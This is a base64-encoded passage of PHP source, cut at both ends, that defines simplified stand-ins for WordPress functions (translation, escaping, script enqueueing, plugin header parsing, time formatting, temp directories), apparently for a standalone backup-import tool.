yaWFsaXplZCgpLgoKLyoqCiAqIFRyYW5zbGF0aW9uIEZ1bmN0aW9uLgogKgogKiBAcGFyYW0gc3RyaW5nICR0ZXh0ICAgIFRleHQgdG8gdHJhbnNsYXRlLgogKiBAcGFyYW0gc3RyaW5nICRkb21haW4gIFRleHQgZG9tYWluLgogKgogKiBAcmV0dXJuIHN0cmluZyAgVHJhbnNsYXRlZCBUZXh0LgogKi8KZnVuY3Rpb24gX18oICR0ZXh0LCAkZG9tYWluID0gJycgKSB7IC8vIEBjb2RpbmdTdGFuZGFyZHNJZ25vcmVMaW5lOiBSZXBsYWNlbWVudCBmdW5jdGlvbiBkZWNsYXJhdGlvbi4KCXJldHVybiAkdGV4dDsKfQoKLyoqCiAqIEVzY2FwZXMgaHRtbCBmcm9tIHRleHQuCiAqCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQgICAgVGV4dCB0byBlc2NhcGUuCiAqIEBwYXJhbSBzdHJpbmcgJGRvbWFpbiAgVGV4dCBkb21haW4uCiAqCiAqIEByZXR1cm4gc3RyaW5nICBFc2NhcGVkIHRyYW5zbGF0ZWQgVGV4dC4KICovCmZ1bmN0aW9uIGVzY19odG1sX18oICR0ZXh0LCAkZG9tYWluID0gJycgKSB7IC8vIEBjb2RpbmdTdGFuZGFyZHNJZ25vcmVMaW5lOiBSZXBsYWNlbWVudCBmdW5jdGlvbiBkZWNsYXJhdGlvbi4KCXJldHVybiBlc2NfaHRtbCggX18oICR0ZXh0LCAkZG9tYWluICkgKTsgLy8gQGNvZGluZ1N0YW5kYXJkc0lnbm9yZUxpbmU6IEVzY2FwZSBIVE1MLCB0aGVuIHJlbGF5IF9fIGZ1bmN0aW9uLgp9CgovKioKICogRXNjYXBlcyBodG1sIGZyb20gdmFyaWFibGUuIFBvb3IgbWFucyB2ZXJzaW9uLgogKgogKiBAcGFyYW0gc3RyaW5nICR0ZXh0ICAgIFRleHQgdG8gZXNjYXBlLgogKgogKiBAcmV0dXJuIHN0cmluZyAgVHJhbnNsYXRlZCBUZXh0LgogKi8KZnVuY3Rpb24gZXNjX2h0bWwoICR0ZXh0ICkgeyAvLyBAY29kaW5nU3RhbmRhcmRzSWdub3JlTGluZTogUmVwbGFjZW1lbnQgZnVuY3Rpb24gZGVjbGFyYXRpb24uCglyZXR1cm4gaHRtbGVudGl0aWVzKCAkdGV4dCApOyAvLyBAY29kaW5nU3RhbmRhcmRzSWdub3JlTGluZTogRXNjYXBlIEhUTUwsIHRoZW4gcmVsYXkgX18gZnVuY3Rpb24uCn0KCi8qKgogKiBFY2hvIHRyYW5zbGF0ZWQgdGV4dC4KICoKICogQHBhcmFtIHN0cmluZyAkdGV4dCAgICBUZXh0IHRvIHRyYW5zbGF0ZS4KICogQHBhcmFtIHN0cmluZyAkZG9tYWluICBUZXh0IGRvbWFpbi4KICovCmZ1bmN0aW9uIF9lKCAkdGV4dCwgJGRvbWFpbiA9ICcnICkgeyAvLyBAY29kaW5nU3RhbmRhcmRzSWdub3JlTGluZTogUmVwbGFjZW1lbnQgZnVuY3Rpb24gZGVjbGFyYXRpb24uCgllY2hvIF9fKCAkdGV4dCwgJGRvbWFpbiApOyAvLyBAY29kaW5nU3RhbmRhcmRzSWdub3JlTGluZTogUmVsYXkgX18gZnVuY3Rpb24uCn0KCi8qKgogKiBFc2NhcGVzIGh0bWwgYW5kIGVjaG8gdHJhbnNsYXRlZCB0ZXh0LgogKgogKiBAcGFyYW0gc3RyaW5nICR0ZXh0ICAgIFRleHQgdG8gdHJhbnNsYXRlLgogKiBAcGFyYW0gc3RyaW5nICRkb21haW4gIFRleHQgZG9tYWluLgogKi8KZnVuY3Rpb24gZXNjX2h0bWxfZSggJHRleHQsICRkb21haW4gPSAnJyApIHsgLy8gQGNvZGluZ1N0YW5kYXJkc0lnbm9yZUxpbmU6IFJlcGxhY2VtZW50IGZ1bmN0aW9uIGRlY2xhcmF0aW9uLgoJZWNobyBlc2NfaHRtbCggJHRleHQsICRkb21haW4gKTsgLy8gQGNvZGluZ1N0YW5kYXJkc0lnbm9yZUxpbmU6IFJlbGF5IGVzY19odG1sX18gZnVuY3Rpb24uCn0KCi8qKgogKiBFc2NhcGVzIEhUTUwgQXR0cmlidXRlCiAqCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQgIFRleHQgdG8gZXNjYXBlLgogKgogKiBAcmV0dXJuIHN0cmluZyAgRXNjYXBlZCB0ZXh0LgogKi8KZnVuY3Rpb24gZXNjX2F0dHIoICR0ZXh0ICkgewoJcmV0dXJuICR0ZXh0Owp9CgovKioKICogRXNjYXBlcyBIVE1MIEF0dHJpYnV0ZSBUZXh0IFN0cmluZwogKgogKiBAcGFyYW0gc3RyaW5nICR0ZXh0ICAgIFRleHQgdG8gZXNjYXBlLgogKiBAcGFyYW0gc3RyaW5nICRkb21haW4gIFRleHQgZG9tYWluLgogKi8KZnVuY3Rpb24gZXNjX2F0dHJfZSggJHRleHQsICRkb21haW4gKSB7IC8vIEBjb2RpbmdTdGFuZGFyZHNJZ25vcmVMaW5lOiBSZXBsYWNlbWVudCBmdW5jdGlvbiBkZWNsYXJhdGlvbi4KCWVjaG8gZXNjX2F0dHIoICR0ZXh0ICk7Cn0KCi8qKgogKiBDaGVjayBpZiBzdHlsZSBleGlzdHMuCiAqCiAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgIFN0eWxlIHRhZy4KICoKICogQHJldHVybiBib29sICBJZiBzdHlsZSB0YWcgZXhpc3RzLgogKi8KZnVuY3Rpb24gd3Bfc3R5bGVfaXMoICRuYW1lICkgewoJZ2xvYmFsICRwYl9zdHlsZXM7CglyZXR1cm4gYXJyYXlfa2V5X2V4aXN0cyggJG5hbWUsICRwYl9zdHlsZXMgKTsKfQoKLyoqCiAqIFBvb3IgbWFuJ3MgdmVyc2lvbiBvZiBXUCBFbnF1ZXVlIFN0eWxlLgogKgogKiBAcGFyYW0gc3RyaW5nICRuYW1lICBTdHlsZSB0YWcgbmFtZS4KICogQHBhcmFtIHN0cmluZyAkZmlsZSAgUGF0aCB0byBmaWxlLgogKiBAcGFyYW0gYXJyYXkgICRkZXBzICBEZXBlbmRlbmNpZXMuCiAqIEBwYXJhbSBzdHJpbmcgJHZlciAgIFZlcnNpb24uCiAqLwpmdW5jdGlvbiB3cF9lbnF1ZXVlX3N0eWxlKCAkbmFtZSwgJGZpbGUsICRkZXBzID0gYXJyYXkoKSwgJHZlciA9ICcnICkgewoJZ2xvYmFsICRwYl9zdHlsZXM7CgkkcGJfc3R5bGVzWyAkbmFtZSBdWydmaWxlJ10gICAgPSAkZmlsZTsKCSRwYl9zdHlsZXNbICRuYW1lIF1bJ3ZlcnNpb24nXSA9ICR2ZXI7CgkkcGJfc3R5bGVzWyAkbmFtZSBdWydwcmludGVkJ10gPSBmYWxzZTsKfQovKioKICogUG9vciBtYW4ncyBwcmludCBzdHlsZXMgZnVuY3Rpb24uCiAqCiAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgIFRhZyBuYW1lLgogKi8KZnVuY3Rpb24gd3BfcHJpbnRfc3R5bGVzKCAkbmFtZSApIHsKCWdsb2JhbCAkcGJfc3R5bGVzOwoJaWYgKCBmYWxzZSA9PT0gJHBiX3N0eWxlc1sgJG5hbWUgXVsncHJpbnRlZCddICkgewoJCSRwYl9zdHlsZXNbICRuYW1lIF1bJ3ByaW50ZWQnXSA9IHRydWU7CgoJCWVjaG8gJzxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9IicgLiAkcGJfc3R5bGVzWyAkbmFtZSBdWydmaWxlJ10gLiAnP3Zlcj0nIC4gbWQ1KCAkcGJfc3R5bGVzWyAkbmFtZSBdWyd2ZXJzaW9uJ10gKSAuICciPic7Cgl9Cn0KCi8qKgogKiBDaGVja3MgaWYgc2NyaXB0IGV4aXN0cy4KICoKICogQHBhcmFtIHN0cmluZyAkbmFtZSAgU2NyaXB0IHRhZyBuYW1lLgogKgogKiBAcmV0dXJuIGJvb2wgIElmIHNjcmlwdCBleGlzdHMuCiAqLwpmdW5jdGlvbiB3cF9zY3JpcHRfaXMoICRuYW1lICkgewoJZ2xvYmFsICRwYl9zY3JpcHRzOwoJcmV0dXJuIGFycmF5X2tleV9leGlzdHMoICRuYW1lLCAkcGJfc2NyaXB0cyApOwp9CgovKioKICogUG9vciBtYW4ncyB2ZXJzaW9uIG9mIFdQIEVucXVldWUgU2NyaXB0LgogKgogKiBAcGFyYW0gc3RyaW5nICRuYW1lICBTY3JpcHQgdGFnIG5hbWUuCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGUgIFBhdGggdG8gc2NyaXB0LgogKiBAcGFyYW0gYXJyYXkgICRkZXBzICBEZXBlbmRlbmNpZXMuCiAqIEBwYXJhbSBzdHJpbmcgJHZlciAgIFZlcnNpb24uCiAqLwpmdW5jdGlvbiB3cF9lbnF1ZXVlX3NjcmlwdCggJG5hbWUsICRmaWxlLCAkZGVwcyA9IGFycmF5KCksICR2ZXIgPSAnJyApIHsKCWdsb2JhbCAkcGJfc2NyaXB0czsKCSRwYl9zY3JpcHRzWyAkbmFtZSBdWydmaWxlJ10gICAgPSAkZmlsZTsKCSRwYl9zY3JpcHRzWyAkbmFtZSBdWyd2ZXJzaW9uJ10gPSAkdmVyOwoJJHBiX3NjcmlwdHNbICRuYW1lIF1bJ3ByaW50ZWQnXSA9IGZhbHNlOwp9Ci8qKgogKiBQb29yIG1hbidzIFdQIFByaW50IFNjcmlwdHMKICoKICogQHBhcmFtIHN0cmluZyAkbmFtZSAgU2NyaXB0IHRhZyBuYW1lLgogKi8KZnVuY3Rpb24gd3BfcHJpbnRfc2NyaXB0cyggJG5hbWUgKSB7CglnbG9iYWwgJHBiX3NjcmlwdHM7CglpZiAoICRwYl9zY3JpcHRzWyAkbmFtZSBdWydwcmludGVkJ10gPT09IGZhbHNlICkgewoJCSRwYl9zY3JpcHRzWyAkbmFtZSBdWydwcmludGVkJ10gPSB0cnVlOwoKCQllY2hvICc8c2NyaXB0IHNyYz0iJyAuICRwYl9zY3JpcHRzWyAkbmFtZSBdWydmaWxlJ10gLiAnP3Zlcj0nIC4gbWQ1KCAkcGJfc2NyaXB0c1sgJG5hbWUgXVsndmVyc2lvbiddICkgLiAnIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pic7Cgl9Cn0KCi8qKgogKiBQb29yIG1hbidzIGFkZF9hY3Rpb24uCiAqCiAqIEBwYXJhbSBzdHJpbmcgICAgICAgICAgICAgICAgJHRhZyAgICAgICBBY3Rpb24gdGFnLgogKiBAcGFyYW0gc3RyaW5nfGFycmF5fGZ1bmN0aW9uICRjYWxsYmFjayAgQ2FsbGJhY2sgZnVuY3Rpb24gbmFtZSBvciBhcnJheS4KICovCmZ1bmN0aW9uIGFkZF9hY3Rpb24oICR0YWcsICRjYWxsYmFjayApIHsKCWdsb2JhbCAkcGJfYWN0aW9uczsKCSRwYl9hY3Rpb25zWyAkdGFnIF1bJ2NhbGxiYWNrJ10gPSAkY2FsbGJhY2s7Cn0KCi8qKgogKiBDaGVjayBpZiBpcyBhZG1pbi4KICoKICogQHJldHVybiBib29sICBBbHdheXMgcmV0dXJucyB0cnVlLgogKi8KZnVuY3Rpb24gaXNfYWRtaW4oKSB7CglyZXR1cm4gdHJ1ZTsKfQoKLyoqCiAqIFBvb3IgbWFuJ3MgYXBwbHlfZmlsdGVycy4KICoKICogQHBhcmFtIHN0cmluZyAkZmlsdGVyICBGaWx0ZXIgbmFtZS4KICogQHBhcmFtIG1peGVkICAkdmFsdWUgICBWYWx1ZSB0byBmaWx0ZXIuCiAqCiAqIEByZXR1cm4gbWl4ZWQgIEZpbHRlcmVkICR2YWx1ZS4KICovCmZ1bmN0aW9uIGFwcGx5X2ZpbHRlcnMoICRmaWx0ZXIsICR2YWx1ZSApIHsKCXJldHVybiAkdmFsdWU7Cn0KCi8qKgogKiBQb29yIG1hbidzIHNhbml0aXplIHRpdGxlIGZvciBJbXBvcnRCdWRkeQogKgogKiBAcGFyYW0gc3RyaW5nICR0aXRsZSAgVGl0bGUgc3RyaW5nIHRvIHNhbml0aXplLgogKgogKiBAcmV0dXJuIHN0cmluZyAgTG93ZXJjYXNlZCwgaHlwaGVuYXRlZCB0aXRsZS4KICovCmZ1bmN0aW9uIHNhbml0aXplX3RpdGxlKCAkdGl0bGUgKSB7CgkkdGl0bGUgPSBzdHJpcF90YWdzKCAkdGl0bGUgKTsKCS8vIFByZXNlcnZlIGVzY2FwZWQgb2N0ZXRzLgoJJHRpdGxlID0gcHJlZ19yZXBsYWNlKCAnfCUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSl8JywgJy0tLSQxLS0tJywgJHRpdGxlICk7CgkvLyBSZW1vdmUgcGVyY2VudCBzaWducyB0aGF0IGFyZSBub3QgcGFydCBvZiBhbiBvY3RldC4KCSR0aXRsZSA9IHN0cl9yZXBsYWNlKCAnJScsICcnLCAkdGl0bGUgKTsKCS8vIFJlc3RvcmUgb2N0ZXRzLgoJJHRpdGxlID0gcHJlZ19yZXBsYWNlKCAnfC0tLShbYS1mQS1GMC05XVthLWZBLUYwLTldKS0tLXwnLCAnJSQxJywgJHRpdGxlICk7CgoJJHRpdGxlID0gc3RydG9sb3dlciggJHRpdGxlICk7CgoJJHRpdGxlID0gcHJlZ19yZXBsYWNlKCAnLyYuKz87LycsICcnLCAkdGl0bGUgKTsKCSR0aXRsZSA9IHN0cl9yZXBsYWNlKCAnLicsICctJywgJHRpdGxlICk7CgoJJHRpdGxlID0gcHJlZ19yZXBsYWNlKCAnL1teJWEtejAtOSBfLV0vJywgJycsICR0aXRsZSApOwoJJHRpdGxlID0gcHJlZ19yZXBsYWNlKCAnL1xzKy8nLCAnLScsICR0aXRsZSApOwoJJHRpdGxlID0gcHJlZ19yZXBsYWNlKCAnfC0rfCcsICctJywgJHRpdGxlICk7CgkkdGl0bGUgPSB0cmltKCAkdGl0bGUsICctJyApOwoKCXJldHVybiBhcHBseV9maWx0ZXJzKCAnc2FuaXRpemVfdGl0bGUnLCAkdGl0bGUgKTsKfQoKLyoqCiAqIENsZWFudXAgSGVhZGVyIENvbW1lbnQuCiAqCiAqIEBwYXJhbSBzdHJpbmcgJHN0ciAgSGVhZGVyIGNvbW1lbnQuCiAqCiAqIEByZXR1cm4gc3RyaW5nICBDbGVhbmVkIHVwIGhlYWRlciBjb21tZW50LgogKi8KZnVuY3Rpb24gX2NsZWFudXBfaGVhZGVyX2NvbW1lbnQoICRzdHIgKSB7CglyZXR1cm4gdHJpbSggcHJlZ19yZXBsYWNlKCAnL1xzKig/OlwqXC98XD8+KS4qLycsICcnLCAkc3RyICkgKTsKfQoKLyoqCiAqIEdldCBQbHVnaW4gRGF0YSBmcm9tIHBsdWdpbiBoZWFkZXIuCiAqCiAqIEBwYXJhbSBzdHJpbmcgJHBsdWdpbl9maWxlICBQYXRoIHRvIHBsdWdpbiBmaWxlLgogKiBAcGFyYW0gYm9vbCAgICRtYXJrdXAgICAgICAgSW5jbHVkZSBtYXJrdXAuCiAqIEBwYXJhbSBib29sICAgJHRyYW5zbGF0ZSAgICBUcmFuc2xhdGUgb3V0cHV0LgogKgogKiBAcmV0dXJuIGFycmF5ICBQbHVnaW4gRGF0YSBhcnJheS4KICovCmZ1bmN0aW9uIGdldF9wbHVnaW5fZGF0YSggJHBsdWdpbl9maWxlLCAkbWFya3VwID0gdHJ1ZSwgJHRyYW5zbGF0ZSA9IHRydWUgKSB7CgoJJGRlZmF1bHRfaGVhZGVycyA9IGFycmF5KAoJCSdOYW1lJyAgICAgICAgPT4gJ1BsdWdpbiBOYW1lJywKCQknUGx1Z2luVVJJJyAgID0+ICdQbHVnaW4gVVJJJywKCQknVmVyc2lvbicgICAgID0+ICdWZXJzaW9uJywKCQknRGVzY3JpcHRpb24nID0+ICdEZXNjcmlwdGlvbicsCgkJJ0F1dGhvcicgICAgICA9PiAnQXV0aG9yJywKCQknQXV0aG9yVVJJJyAgID0+ICdBdXRob3IgVVJJJywKCQknVGV4dERvbWFpbicgID0+ICdUZXh0IERvbWFpbicsCgkJJ0RvbWFpblBhdGgnICA9PiAnRG9tYWluIFBhdGgnLAoJCSdOZXR3b3JrJyAgICAgPT4gJ05ldHdvcmsnLAoJCS8vIFNpdGUgV2lkZSBPbmx5IGlzIGRlcHJlY2F0ZWQgaW4gZmF2b3Igb2YgTmV0d29yay4KCQknX3NpdGV3aWRlJyAgID0+ICdTaXRlIFdpZGUgT25seScsCgkpOwoKCSRwbHVnaW5fZGF0YSA9IGdldF9maWxlX2RhdGEoICRwbHVnaW5fZmlsZSwgJGRlZmF1bHRfaGVhZGVycywgJ3BsdWdpbicgKTsKCgkvLyBTaXRlIFdpZGUgT25seSBpcyB0aGUgb2xkIGhlYWRlciBmb3IgTmV0d29yay4KCWlmICggZW1wdHkoICRwbHVnaW5fZGF0YVsnTmV0d29yayddICkgJiYgISBlbXB0eSggJHBsdWdpbl9kYXRhWydfc2l0ZXdpZGUnXSApICkgewoJCV9kZXByZWNhdGVkX2FyZ3VtZW50KCBfX0ZVTkNUSU9OX18sICczLjAnLCBzcHJpbnRmKCBfXyggJ1RoZSA8Y29kZT4lMSRzPC9jb2RlPiBwbHVnaW4gaGVhZGVyIGlzIGRlcHJlY2F0ZWQuIFVzZSA8Y29kZT4lMiRzPC9jb2RlPiBpbnN0ZWFkLicgKSwgJ1NpdGUgV2lkZSBPbmx5OiB0cnVlJywgJ05ldHdvcms6IHRydWUnICkgKTsKCQkkcGx1Z2luX2RhdGFbJ05ldHdvcmsnXSA9ICRwbHVnaW5fZGF0YVsnX3NpdGV3aWRlJ107Cgl9CgkkcGx1Z2luX2RhdGFbJ05ldHdvcmsnXSA9ICggJ3RydWUnID09IHN0cnRvbG93ZXIoICRwbHVnaW5fZGF0YVsnTmV0d29yayddICkgKTsKCXVuc2V0KCAkcGx1Z2luX2RhdGFbJ19zaXRld2lkZSddICk7CgoJLy8gRm9yIGJhY2t3YXJkIGNvbXBhdGliaWxpdHkgYnkgZGVmYXVsdCBUaXRsZSBpcyB0aGUgc2FtZSBhcyBOYW1lLgoJJHBsdWdpbl9kYXRhWydUaXRsZSddID0gJHBsdWdpbl9kYXRhWydOYW1lJ107CgoJaWYgKCAkbWFya3VwIHx8ICR0cmFuc2xhdGUgKSB7CgkJJHBsdWdpbl9kYXRhID0gX2dldF9wbHVnaW5fZGF0YV9tYXJrdXBfdHJhbnNsYXRlKCAkcGx1Z2luX2ZpbGUsICRwbHVnaW5fZGF0YSwgJG1hcmt1cCwgJHRyYW5zbGF0ZSApOwoJfSBlbHNlIHsKCQkkcGx1Z2luX2RhdGFbJ0F1dGhvck5hbWUnXSA9ICRwbHVnaW5fZGF0YVsnQXV0aG9yJ107Cgl9CgoJcmV0dXJuICRwbHVnaW5fZGF0YTsKfQoKLyoqCiAqIEdldCBmaWxlIERhdGEuCiAqCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGUgICAgICAgICAgICAgUGF0aCB0byBmaWxlLgogKiBAcGFyYW0gYXJyYXkgICRkZWZhdWx0X2hlYWRlcnMgIEFycmF5IG9mIEhlYWRlcnMuCiAqIEBwYXJhbSBzdHJpbmcgJGNvbnRleHQgICAgICAgICAgQ29udGV4dC4KICoKICogQHJldHVybiBhcnJheSAgRmlsZSBkYXRhIGFycmF5LgogKi8KZnVuY3Rpb24gZ2V0X2ZpbGVfZGF0YSggJGZpbGUsICRkZWZhdWx0X2hlYWRlcnMsICRjb250ZXh0ID0gJycgKSB7CgkvLyBXZSBkb24ndCBuZWVkIHRvIHdyaXRlIHRvIHRoZSBmaWxlLCBzbyBqdXN0IG9wZW4gZm9yIHJlYWRpbmcuCgkkZnAgPSBmb3BlbiggJGZpbGUsICdyJyApOwoKCS8vIFB1bGwgb25seSB0aGUgZmlyc3QgOGtpQiBvZiB0aGUgZmlsZSBpbi4KCSRmaWxlX2RhdGEgPSBmcmVhZCggJGZwLCA4MTkyICk7CgoJLy8gUEhQIHdpbGwgY2xvc2UgZmlsZSBoYW5kbGUsIGJ1dCB3ZSBhcmUgZ29vZCBjaXRpemVucy4KCWZjbG9zZSggJGZwICk7CgoJaWYgKCAnJyAhPSAkY29udGV4dCApIHsKCQkkZXh0cmFfaGVhZGVycyA9IGFwcGx5X2ZpbHRlcnMoICJleHRyYV97JGNvbnRleHR9X2hlYWRlcnMiLCBhcnJheSgpICk7CgoJCSRleHRyYV9oZWFkZXJzID0gYXJyYXlfZmxpcCggJGV4dHJhX2hlYWRlcnMgKTsKCQlmb3JlYWNoICggJGV4dHJhX2hlYWRlcnMgYXMgJGtleSA9PiAkdmFsdWUgKSB7CgkJCSRleHRyYV9oZWFkZXJzWyAka2V5IF0gPSAka2V5OwoJCX0KCQkkYWxsX2hlYWRlcnMgPSBhcnJheV9tZXJnZSggJGV4dHJhX2hlYWRlcnMsIChhcnJheSkgJGRlZmF1bHRfaGVhZGVycyApOwoJfSBlbHNlIHsKCQkkYWxsX2hlYWRlcnMgPSAkZGVmYXVsdF9oZWFkZXJzOwoJfQoKCWZvcmVhY2ggKCAkYWxsX2hlYWRlcnMgYXMgJGZpZWxkID0+ICRyZWdleCApIHsKCQlwcmVnX21hdGNoKCAnL15bIFx0XC8qI0BdKicgLiBwcmVnX3F1b3RlKCAkcmVnZXgsICcvJyApIC4gJzooLiopJC9taScsICRmaWxlX2RhdGEsICR7JGZpZWxkfSApOwoJCWlmICggISBlbXB0eSggJHskZmllbGR9ICkgKSB7CgkJCSR7ICRmaWVsZCB9ID0gX2NsZWFudXBfaGVhZGVyX2NvbW1lbnQoICR7ICRmaWVsZCB9WzFdICk7CgkJfSBlbHNlIHsKCQkJJHsgJGZpZWxkIH0gPSAnJzsKCQl9Cgl9CgoJJGZpbGVfZGF0YSA9IGNvbXBhY3QoIGFycmF5X2tleXMoICRhbGxfaGVhZGVycyApICk7CgoJcmV0dXJuICRmaWxlX2RhdGE7Cn0KCi8qKgogKiBQbGFjZWhvbGRlciBmdW5jdGlvbiBmb3Igd3Bfbm9uY2VfZmllbGQoKS4KICoKICogQHJldHVybiBudWxsCiAqLwpmdW5jdGlvbiB3cF9ub25jZV9maWVsZCgpIHsKCXJldHVybjsKfQoKaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ25nZXR0ZXh0JyApICkgewoJLyoqCgkgKiBTb21lIFBIUCBpbnN0YWxscyBkb24ndCBoYXZlIG5nZXR0ZXh0LiBOZWVkZWQgYnkgaHVtYW5fdGltZV9kaWZmKCkuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2luZ3VsYXIgIFNpbmd1bGFyIHZlcnNpb24uCgkgKiBAcGFyYW0gc3RyaW5nICRwbHVyYWwgICAgUGx1cmFsIHZlcnNpb24uCgkgKiBAcGFyYW0gaW50ICAgICRudW0gICAgICAgTnVtYmVyIHRvIGNoZWNrIGZvciBwbHVyYWwuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIFNpbmd1bGFyIG9yIHBsdXJhbCB2ZXJzaW9uLgoJICovCglmdW5jdGlvbiBuZ2V0dGV4dCggJHNpbmd1bGFyLCAkcGx1cmFsLCAkbnVtICkgewoJCWlmICggJG51bSA+IDEgKSB7CgkJCXJldHVybiAkcGx1cmFsOwoJCX0KCQlyZXR1cm4gJHNpbmd1bGFyOwoJfQp9IC8vIEVuZCBuZ2V0dGV4dCgpLgoKLyoqCiAqIERldGVybWluZXMgdGhlIGRpZmZlcmVuY2UgYmV0d2VlbiB0d28gdGltZXN0YW1wcy4KICoKICogVGhlIGRpZmZlcmVuY2UgaXMgcmV0dXJuZWQgaW4gYSBodW1hbiByZWFkYWJsZSBmb3JtYXQgc3VjaCBhcyAiMSBob3VyIiwKICogIjUgbWlucyIsICIyIGRheXMiLgogKgogKiBAc2luY2UgMS41LjAKICoKICogQHBhcmFtIGludCAkZnJvbSBVbml4IHRpbWVzdGFtcCBmcm9tIHdoaWNoIHRoZSBkaWZmZXJlbmNlIGJlZ2lucy4KICogQHBhcmFtIGludCAkdG8gT3B0aW9uYWwuIFVuaXggdGltZXN0YW1wIHRvIGVuZCB0aGUgdGltZSBkaWZmZXJlbmNlLiBEZWZhdWx0IGJlY29tZXMgdGltZSgpIGlmIG5vdCBzZXQuCiAqIEByZXR1cm4gc3RyaW5nIEh1bWFuIHJlYWRhYmxlIHRpbWUgZGlmZmVyZW5jZS4KICovCmZ1bmN0aW9uIGh1bWFuX3RpbWVfZGlmZiggJGZyb20sICR0byA9ICcnICkgewoJaWYgKCBlbXB0eSggJHRvICkgKSB7CgkJJHRvID0gdGltZSgpOwoJfQoJJGRpZmYgPSAoaW50KSBhYnMoICR0byAtICRmcm9tICk7CglpZiAoICRkaWZmIDw9IDM2MDAgKSB7CgkJJG1pbnMgPSByb3VuZCggJGRpZmYgLyA2MCApOwoJCWlmICggJG1pbnMgPD0gMSApIHsKCQkJJG1pbnMgPSAxOwoJCX0KCQkvKiB0cmFuc2xhdG9yczogbWluPW1pbnV0ZSAqLwoJCSRzaW5jZSA9IHNwcmludGYoIG5nZXR0ZXh0KCAnJXMgbWluJywgJyVzIG1pbnMnLCAkbWlucyApLCAkbWlucyApOwoJfSBlbHNlaWYgKCAoICRkaWZmIDw9IDg2NDAwICkgJiYgKCAkZGlmZiA+IDM2MDAgKSApIHsKCQkkaG91cnMgPSByb3VuZCggJGRpZmYgLyAzNjAwICk7CgkJaWYgKCAkaG91cnMgPD0gMSApIHsKCQkJJGhvdXJzID0gMTsKCQl9CgkJJHNpbmNlID0gc3ByaW50ZiggbmdldHRleHQoICclcyBob3VyJywgJyVzIGhvdXJzJywgJGhvdXJzICksICRob3VycyApOwoJfSBlbHNlaWYgKCAkZGlmZiA+PSA4NjQwMCApIHsKCQkkZGF5cyA9IHJvdW5kKCAkZGlmZiAvIDg2NDAwICk7CgkJaWYgKCAkZGF5cyA8PSAxICkgewoJCQkkZGF5cyA9IDE7CgkJfQoJCSRzaW5jZSA9IHNwcmludGYoIG5nZXR0ZXh0KCAnJXMgZGF5JywgJyVzIGRheXMnLCAkZGF5cyApLCAkZGF5cyApOwoJfQoJcmV0dXJuICRzaW5jZTsKfQoKCi8qKgogKiBVbnNlcmlhbGl6ZSB2YWx1ZSBvbmx5IGlmIGl0IHdhcyBzZXJpYWxpemVkLgogKgogKiBAc2luY2UgMi4wLjAKICoKICogQHBhcmFtIHN0cmluZyAkb3JpZ2luYWwgTWF5YmUgdW5zZXJpYWxpemVkIG9yaWdpbmFsLCBpZiBpcyBuZWVkZWQuCiAqIEByZXR1cm4gbWl4ZWQgVW5zZXJpYWxpemVkIGRhdGEgY2FuIGJlIGFueSB0eXBlLgogKi8KZnVuY3Rpb24gbWF5YmVfdW5zZXJpYWxpemUoICRvcmlnaW5hbCApIHsKCWlmICggaXNfc2VyaWFsaXplZCggJG9yaWdpbmFsICkgKSB7IC8vIGRvbid0IGF0dGVtcHQgdG8gdW5zZXJpYWxpemUgZGF0YSB0aGF0IHdhc24ndCBzZXJpYWxpemVkIGdvaW5nIGluCgkJcmV0dXJuIEB1bnNlcmlhbGl6ZSggJG9yaWdpbmFsICk7Cgl9CglyZXR1cm4gJG9yaWdpbmFsOwp9CgoKCi8vIE5PVCBJTVBMRU1FTlRFRCBCVVQgTk9OLUJMT0NLSU5HLgovKioKICogTm90IGltcGxlbWVudGVkIGJ1dCBub24tYmxvY2tpbmcKICovCmZ1bmN0aW9uIHJlZ2lzdGVyX2FjdGl2YXRpb25faG9vaygpIHsKfQovKioKICogTm90IGltcGxlbWVudGVkIGJ1dCBub24tYmxvY2tpbmcKICovCmZ1bmN0aW9uIGxvYWRfcGx1Z2luX3RleHRkb21haW4oKSB7Cn0KLyoqCiAqIE5vdCBpbXBsZW1lbnRlZCBidXQgbm9uLWJsb2NraW5nCiAqCiAqIEBwYXJhbSBzdHJpbmcgJGNhcGFiaWxpdHkgIFBlcm1pc3Npb24uCiAqCiAqIEByZXR1cm4gYm9vbCAgQWx3YXlzIHJldHVybnMgdHJ1ZS4KICovCmZ1bmN0aW9uIGN1cnJlbnRfdXNlcl9jYW4oICRjYXBhYmlsaXR5ICkgewoJcmV0dXJuIHRydWU7Cn0KCi8qKgogKiBHZXQgdGVtcCBkaXJlY3RvcnkuCiAqCiAqIEByZXR1cm4gc3RyaW5nICBUZW1wIGRpcmVjdG9yeSBwYXRoLgogKi8KZnVuY3Rpb24gZ2V0X3RlbXBfZGlyKCkgewoKCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnc3lzX2dldF90ZW1wX2RpcicgKSApIHsKCQkkdGVtcCA9IHN5c19nZXRfdGVtcF9kaXIoKTsKCQlpZiAoIEBpc19kaXIoICR0ZW1wICkgJiYgaXNfd3JpdGFibGUoICR0ZW1wICkgKSB7CgkJCXJldHVybiBydHJpbSggJHRlbXAsICcvXFwnICkgLiAnLyc7CgkJfQoJfQoKCSR0ZW1wID0gQUJTUEFUSCAuICd0ZW1wLyc7CglAbWtkaXIoICR0ZW1wICk7CglpZiAoIGlzX2RpciggJHRlbXAgKSAmJiBpc193cml0YWJsZSggJHRlbXAgKSApIHsKCQlyZXR1cm4gJHRlbXA7Cgl9CgoJJHRlbXAgPSAnL3RtcC8nOwoJQG1rZGlyKCAkdGVtcCApOwoJcmV0dXJuICR0ZW1wOwp9CgovKioKICogUG9vciBtYW4ncyB3cF91cGxvYWRfZGlyCiAqCiAqIEByZXR1cm4gYXJyYXkgIEFycmF5IG9mIHVwbG9hZCBkaXIgaW5mby4KICovCmZ1bmN0aW9uIHdwX3VwbG9hZF9kaXIoKSB7CglyZXR1cm4gYXJyYXkoICdiYXNlZGlyJy